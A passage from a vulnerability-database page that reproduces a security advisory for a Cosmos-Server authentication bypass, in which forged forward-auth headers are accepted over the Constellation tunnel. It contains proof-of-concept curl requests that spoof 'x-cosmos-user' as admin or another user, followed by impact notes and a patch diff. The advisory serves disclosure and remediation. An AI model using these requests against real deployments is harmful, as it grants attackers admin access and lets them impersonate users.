0\" \\\n     \"$PROXY_ROUTE/\" -i\n\n# Expected: HTTP 200 with the admin-gated backend rendering as user \"admin\".\n# No JWT cookie was sent; no admin Cosmos account is held by the caller.\n# Cosmos\u0027s debug log shows: \"Bypassing auth for Constellation tunnel\".\n```\n\nA second request demonstrates cross-user impersonation on the same backend by changing the asserted identity:\n\n```bash\ncurl -k \\\n     -H \"x-cstln-auth: Bearer $DEVICE_APIKEY\" \\\n     -H \"x-cosmos-user: someotheruser\" \\\n     \"$PROXY_ROUTE/\" -i\n# Backend renders as \"someotheruser\"; any per-user data partitioning at the\n# backend is now under attacker control.\n```\n\n### Impact\n\n- **AuthN:** bypasses Cosmos JWT login, password, and MFA for any holder of a Constellation device key.\n- **AuthZ:** skips the per-route `AdminOnly` gate, unlocking admin-only proxied backends.\n- **Confidentiality:** caller reads every admin-only proxied app as `admin` from one curl.\n- **Integrity:** caller performs any admin-tier write the backend exposes via the forward-auth identity.\n- **Affected population:** every Cosmos deployment with Constellation enabled, at least one enrolled device, and one or more proxy routes integrated via the documented `x-cosmos-user` header.\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nStrip the identity headers unconditionally at function entry so they cannot open the bypass branch, and keep the `AdminOnly` gate on the Constellation path. The branch should only fire for routes that are explicitly `AuthEnabled=false` - on auth-required routes the JWT path must always run so the proxy itself is the sole authority that writes `x-cosmos-user`.\n\n```diff\n--- a/src/proxy/routerGen.go\n+++ b/src/proxy/routerGen.go\n@@ -46,15 +46,17 @@\n func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {\n        return func(next http.Handler) http.Handler {\n                return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n+                       // Always strip identity headers before any decision based on them.\n+                       r.Header.Del(\"x-cosmos-user\")\n+                       r.Header.Del(\"x-cosmos-role\")\n+                       r.Header.Del(\"x-cosmos-user-role\")\n+                       r.Header.Del(\"x-cosmos-mfa\")\n+\n                        enabled := route.AuthEnabled\n                        adminOnly := route.AdminOnly\n \n-                       // bypass auth if from Constellation tunnel\n-                       if ((enabled \u0026\u0026 r.Header.Get(\"x-cosmos-user\") != \"\") || !enabled) {\n+                       // Constellation bypass only applies to non-auth routes; on auth-required\n+                       // routes the JWT path is the sole authority that may set x-cosmos-user.\n+                       if !enabled {\n                                remoteAddr, _ := utils.SplitIP(r.RemoteAddr)\n                                isConstIP := constellation.IsConstellationIP(remoteAddr)\n                                isConstTokenValid := constellation.CheckConstellationToken(r) == nil\n@@ -65,12 +67,7 @@\n                                        return\n                                }\n                        }\n-\n-                       r.Header.Del(\"x-cosmos-user\")\n-                       r.Header.Del(\"x-cosmos-role\")\n-                       r.Header.Del(\"x-cosmos-user-role\")\n-                       r.Header.Del(\"x-cosmos-mfa\")\n                        r.Header.Del(\"x-cstln-auth\")\n```\n\nDefence in depth: document that backends downstream of Cosmos must not accept `x-cosmos-user` over an untrusted hop. Bind the trust to a mutual TLS leg or a shared HMAC over `\u003cx-cosmos-user, request-id, timestamp\u003e` injected by the proxy and verified by the backend.\n\nRegression test: add a unit test against `tokenMiddleware` asserting that a request bearing `x-cosmos-user: admin` and a valid `x-cstln-auth` reaches the next handler with `r.Header.Get(\"x-cosmos-user\") == \"\"` whenever `route.AuthEnabled == true`.",
  "id": "GHSA-2rx5-2g7j-2659",
  "modified": "2026-07-28T20:44:33Z",
  "published": "2026-07-28T20:44:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/azukaar/Cosmos-Server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cosmos-Server has an authentication bypass via forward-auth header smuggling on Constellation tunnel"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-49446 (GCVE-0-2026-49446)

FKIE_CVE-2026-49446

GHSA-2RX5-2G7J-2659

Summary

Preconditions

Details

Proof of concept

Impact

Suggestions to fix

Tags

Sightings

Nomenclature

Related by attack behaviour